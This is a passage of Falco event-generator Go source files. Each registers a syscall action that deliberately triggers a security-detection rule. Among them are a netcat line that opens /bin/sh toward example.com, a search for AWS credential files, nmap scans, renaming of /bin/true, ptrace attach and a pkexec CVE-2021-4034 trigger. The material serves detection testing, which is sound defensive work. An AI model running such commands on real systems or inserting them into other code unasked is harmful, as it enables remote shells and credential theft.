distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(FindAwsCredentials)
func FindAwsCredentials(h events.Helper) error {
find, err := exec.LookPath("find")
if err != nil {
// if we don't have a find, just bail
return &events.ErrSkipped{
Reason: "find executable file not found in $PATH",
}
}
cmd := exec.Command(find, os.TempDir(), "-maxdepth", "1", "-iname", ".aws/credentials")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000056000081A400000000000000000000000166F189F1000003DE000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/syscall/interpreted_procs_inbound_network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
InterpretedProcsInboundNetworkActivity,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func InterpretedProcsInboundNetworkActivity(h events.Helper) error {
return h.SpawnAs("lua", "helper.InboundConnection")
}
07070100000057000081A400000000000000000000000166F189F1000003E1000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/interpreted_procs_outbound_network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
InterpretedProcsOutboundNetworkActivity,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func InterpretedProcsOutboundNetworkActivity(h events.Helper) error {
return h.SpawnAs("lua", "helper.OutboundConnection")
}
07070100000058000081A400000000000000000000000166F189F1000003CF000000000000000000000000000000000000005000000000falco-event-generator-0.12.0/events/syscall/java_process_class_file_download.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
JavaProcessClassFileDownload,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func JavaProcessClassFileDownload(h events.Helper) error {
return h.SpawnAs("java", "helper.CombinedServerClient")
}
07070100000059000081A400000000000000000000000166F189F10000079A000000000000000000000000000000000000005C00000000falco-event-generator-0.12.0/events/syscall/kubernetes_client_tool_launched_in_container.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
KubernetesClientToolLaunchedInContainer,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func KubernetesClientToolLaunchedInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
kubectl, err := exec.LookPath("kubectl")
// if not present, create dummy kubectl executable
if err != nil {
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-KubernetesClientToolLaunchedInContainer-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
kubectl = filepath.Join(tmpDir, "kubectl")
// create executable script file
if err := os.WriteFile(kubectl, []byte("#!/bin/sh\n\necho 'hello world'\n"), os.FileMode(0755)); err != nil {
return err
}
}
cmd := exec.Command(kubectl)
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
0707010000005A000081A400000000000000000000000166F189F10000054C000000000000000000000000000000000000006200000000falco-event-generator-0.12.0/events/syscall/launch_ingress_remote_file_copy_tools_in_container.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
LaunchIngressRemoteFileCopyToolsInContainer,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func LaunchIngressRemoteFileCopyToolsInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := exec.Command("wget", "-V").Run(); err != nil {
h.Log().WithError(err).Debug("failed to run wget command (might be ok)")
}
return nil
}
0707010000005B000081A400000000000000000000000166F189F1000005BA000000000000000000000000000000000000005E00000000falco-event-generator-0.12.0/events/syscall/launch_package_management_process_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
LaunchPackageManagementProcessInContainer,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func LaunchPackageManagementProcessInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// check if the container has apk or apt-get package manager
arg := "version"
bin, err := exec.LookPath("apk")
if err != nil {
arg = "--version"
if bin, err = exec.LookPath("apt-get"); err != nil {
return &events.ErrSkipped{
Reason: "apk nor apt-get package manager executable file not found in $PATH",
}
}
}
// launch package management process
return exec.Command(bin, arg).Run()
}
0707010000005C000081A400000000000000000000000166F189F100000519000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/syscall/launch_remote_file_copy_tools_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
LaunchRemoteFileCopyToolsInContainer,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func LaunchRemoteFileCopyToolsInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := exec.Command("scp").Run(); err != nil {
h.Log().WithError(err).Debug("failed to run scp command (this is expected)")
}
return nil
}
0707010000005D000081A400000000000000000000000166F189F1000005EC000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/launch_suspicious_network_tool_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"os/exec"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
LaunchSuspiciousNetworkToolInContainer,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func LaunchSuspiciousNetworkToolInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
nmap, err := exec.LookPath("nmap")
if err != nil {
return &events.ErrSkipped{
Reason: "nmap executable file not found in $PATH",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := runCmd(context.Background(), 1*time.Second, nmap, "-sn", "192.168.1.0/24"); err != nil {
h.Log().WithError(err).Debug("failed to run nmap command (might be ok)")
}
return nil
}
0707010000005E000081A400000000000000000000000166F189F10000056C000000000000000000000000000000000000005600000000falco-event-generator-0.12.0/events/syscall/launch_suspicious_network_tool_on_host.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"os/exec"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(LaunchSuspiciousNetworkToolOnHost)
func LaunchSuspiciousNetworkToolOnHost(h events.Helper) error {
if h.InContainer() {
return &events.ErrSkipped{
Reason: "not applicable to containers",
}
}
nmap, err := exec.LookPath("nmap")
if err != nil {
return &events.ErrSkipped{
Reason: "nmap executable file not found in $PATH",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := runCmd(context.Background(), 1*time.Second, nmap, "-sn", "172.17.0.1/32"); err != nil {
h.Log().WithError(err).Debug("failed to run nmap command (might be ok)")
}
return nil
}
0707010000005F000081A400000000000000000000000166F189F1000006A4000000000000000000000000000000000000004100000000falco-event-generator-0.12.0/events/syscall/mkdir_binary_dirs.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
MkdirBinaryDirs,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func MkdirBinaryDirs(h events.Helper) error {
// ensure /bin exists
if _, err := os.Stat("/bin"); os.IsNotExist(err) {
if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil {
return err
}
// remove /bin directory
defer func() {
if err := os.RemoveAll("/bin"); err != nil {
h.Log().WithError(err).Error("failed to remove /bin directory")
}
}()
}
// create a unique temp directory under /bin
tmpDir, err := os.MkdirTemp("/bin", "falco-event-generator-syscall-MkdirBinaryDirs-")
if err != nil {
// to trigger the rule, it is enough to try, so we ignore permission denied errors
if errors.Is(err, os.ErrPermission) {
return nil
}
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
return nil
}
07070100000060000081A400000000000000000000000166F189F10000059D000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/syscall/modify_binary_dirs.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"fmt"
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ModifyBinaryDirs,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ModifyBinaryDirs(h events.Helper) error {
org := "/bin/true"
// generate new "random" binary name
new := fmt.Sprintf("%s.falco-event-generator-syscall-ModifyBinaryDirs-%s", org, randomString(6))
if err := os.Rename(org, new); err != nil {
// to trigger the rule, it is enough to try, so we ignore permission denied errors
if errors.Is(err, os.ErrPermission) {
return nil
}
return err
}
defer func() {
if err := os.Rename(new, org); err != nil {
h.Log().WithError(err).Error("failed to restore the original binary")
}
}()
return nil
}
07070100000061000081A400000000000000000000000166F189F100000637000000000000000000000000000000000000004B00000000falco-event-generator-0.12.0/events/syscall/modify_container_entrypoint.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ModifyContainerEntrypoint,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ModifyContainerEntrypoint(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// it is enough to open /proc/self/exe or a file under /proc/self/fd/ for writing to trigger the rule
file, err := os.OpenFile("/proc/self/fd/1", os.O_WRONLY, os.FileMode(0644))
if err != nil {
// skip permission denied errors
if errors.Is(err, os.ErrPermission) {
return &events.ErrSkipped{
Reason: "permission denied while trying to open /proc/self/fd/1 for writing",
}
}
return err
}
defer func() {
if err := file.Close(); err != nil {
h.Log().WithError(err).Error("failed to close /proc/self/fd/1 file")
}
}()
return nil
}
07070100000062000081A400000000000000000000000166F189F1000005D2000000000000000000000000000000000000004F00000000falco-event-generator-0.12.0/events/syscall/modify_shell_configuration_file.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ModifyShellConfigurationFile,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func ModifyShellConfigurationFile(h events.Helper) error {
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ModifyShellConfigurationFile-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
shellrc := filepath.Join(tmpDir, ".bashrc")
// overwrite the content of a shell configuration file
if err := os.WriteFile(shellrc, []byte("# written by falco-event-generator\n"), os.FileMode(0644)); err != nil {
return err
}
return nil
}
07070100000063000081A400000000000000000000000166F189F1000007F6000000000000000000000000000000000000005600000000falco-event-generator-0.12.0/events/syscall/mount_launched_in_privileged_container.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"strings"
"syscall"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(MountLaunchedInPrivilegedContainer)
func MountLaunchedInPrivilegedContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error
// read the CapEff value from /proc/self/status
if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil {
// convert the CapEff value to a string and trim whitespace
capEffValue := strings.TrimSpace(string(capEffValueBytes))
// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin {
return &events.ErrSkipped{
Reason: "privileged container required",
}
}
}
cmd := exec.Command("mount", "-o")
cmd.SysProcAttr = &syscall.SysProcAttr{
Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER,
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := cmd.Run(); err != nil {
h.Log().WithError(err).Debug("failed to run mount command (this is expected)")
}
return nil
}
07070100000064000081A400000000000000000000000166F189F1000005ED000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/netcat_remote_code_execution_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"os/exec"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(NetcatRemoteCodeExecutionInContainer)
func NetcatRemoteCodeExecutionInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
nc, err := exec.LookPath("nc")
if err != nil {
// if we don't have a netcat, just bail
return &events.ErrSkipped{
Reason: "netcat executable file not found in $PATH",
}
}
// launch netcat (nc) with the -e flag for remote code execution
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := runCmd(context.Background(), 1*time.Second, nc, "-e", "/bin/sh", "example.com", "22"); err != nil {
h.Log().WithError(err).Debug("failed to run nc command (this is expected)")
}
return nil
}
07070100000065000081A400000000000000000000000166F189F100000695000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/events/syscall/non_sudo_setuid.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
NonSudoSetuid,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func NonSudoSetuid(h events.Helper) error {
// ensure the process is spawned, otherwise we might hit unexpected side effect issues with becameUser()
if h.Spawned() {
h.Log().Debug("first setuid to something non-root, then try to setuid back to root")
if err := becameUser(h, "daemon"); err != nil {
// to trigger the rule, it is enough to try, so we ignore permission denied errors
if errors.Is(err, os.ErrPermission) {
return nil
}
return err
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := becameUser(h, "root"); err != nil {
h.Log().WithError(err).Debug("failed to setuid back to root (might be ok)")
}
return nil
}
return h.SpawnAsWithSymlink("child", "syscall.NonSudoSetuid")
}
07070100000066000081A400000000000000000000000166F189F1000004C1000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/packet_socket_created_in_container.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"syscall"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(PacketSocketCreatedInContainer)
func PacketSocketCreatedInContainer(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, int(syscall.ETH_P_ALL))
if err != nil {
return err
}
defer func() {
if err := syscall.Close(fd); err != nil {
h.Log().WithError(err).Error("failed to close socket")
}
}()
return nil
}
07070100000067000081A400000000000000000000000166F189F1000006F1000000000000000000000000000000000000006B00000000falco-event-generator-0.12.0/events/syscall/polkit_local_privilege_escalation_vulnerability_cve20214034.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
PolkitLocalPrivilegeEscalationVulnerabilityCVE20214034,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func PolkitLocalPrivilegeEscalationVulnerabilityCVE20214034(h events.Helper) error {
pkexec, err := exec.LookPath("pkexec")
if err != nil {
// if we don't have a pkexec, just bail
return &events.ErrSkipped{
Reason: "pkexec executable file not found in $PATH",
}
}
// run pkexec as non-root user and without arguments
err = runAsUser(h, "daemon", pkexec)
// silently ignore the "exit status 127: Refusing to render service to dead parents" error
// we need to unwrap the error to get the exit code
unerr := errors.Unwrap(err)
if unerr == nil {
unerr = err
}
if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 127 {
return &events.ErrSkipped{
Reason: "pkexec execution failed with exit code 127 (might be ok) - probably patched and not vulnerable to CVE-2021-4034",
}
}
return err
}
07070100000068000081A400000000000000000000000166F189F10000055F000000000000000000000000000000000000007500000000falco-event-generator-0.12.0/events/syscall/potential_local_privilege_escalation_via_environment_variables_misuse.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
PotentialLocalPrivilegeEscalationViaEnvironmentVariablesMisuse,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func PotentialLocalPrivilegeEscalationViaEnvironmentVariablesMisuse(h events.Helper) error {
// Set the GLIBC_TUNABLES environment variable
cmd := exec.Command("sh", "-c", "id")
cmd.Env = append(os.Environ(), "GLIBC_TUNABLES=glibc.tune.hwcaps=-WAITED,glibc.tune.secrets=2")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000069000081A400000000000000000000000166F189F1000004D3000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/syscall/program_run_with_disallowed_http_proxy_env.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ProgramRunWithDisallowedHttpProxyEnv,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ProgramRunWithDisallowedHttpProxyEnv(h events.Helper) error {
curl, err := exec.LookPath("curl")
if err != nil {
return &events.ErrSkipped{
Reason: "curl executable file not found in $PATH",
}
}
cmd := exec.Command(curl, "http://example.com")
cmd.Env = append(os.Environ(), "HTTP_PROXY=http://my.http.proxy.com ")
return cmd.Run()
}
0707010000006A000081A400000000000000000000000166F189F100000574000000000000000000000000000000000000004900000000falco-event-generator-0.12.0/events/syscall/ptrace_anti_debug_attempt.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"syscall"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(PtraceAntiDebugAttempt)
func PtraceAntiDebugAttempt(h events.Helper) error {
// start a dummy process which sleeps for 1hr
cmd := exec.Command("sleep", "3600")
cmd.SysProcAttr = &syscall.SysProcAttr{
Ptrace: true, // This is equivalent to calling PTRACE_TRACEME in the child
}
if err := cmd.Start(); err != nil {
h.Log().WithError(err).Error("failed to start dummy process")
return err
}
// kill the dummy process
defer func() {
if err := cmd.Process.Kill(); err != nil {
h.Log().WithError(err).Error("failed to kill dummy process")
}
// wait for the dummy process to exit, to avoid creating a zombie
_ = cmd.Wait()
}()
return nil
}
0707010000006B000081A400000000000000000000000166F189F1000005DA000000000000000000000000000000000000004A00000000falco-event-generator-0.12.0/events/syscall/ptrace_attached_to_process.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"syscall"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(PtraceAttachedToProcess)
func PtraceAttachedToProcess(h events.Helper) error {
// start a dummy process which sleeps for 1hr
cmd := exec.Command("sleep", "3600")
if err := cmd.Start(); err != nil {
return err
}
pid := cmd.Process.Pid
defer func() {
// try to detach the dummy process (may fail)
if err := syscall.PtraceDetach(pid); err != nil {
h.Log().WithError(err).Debug("failed to detach dummy process (might be ok)")
}
// kill the dummy process
if err := cmd.Process.Kill(); err != nil {
h.Log().WithError(err).Error("failed to kill dummy process")
}
// wait for the dummy process to exit, to avoid creating a zombie
_ = cmd.Wait()
}()
// attach to the target process using PTRACE_ATTACH
return syscall.PtraceAttach(pid)
}
0707010000006C000081A400000000000000000000000166F189F1000004E2000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/read_environment_variable_from_proc_files.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
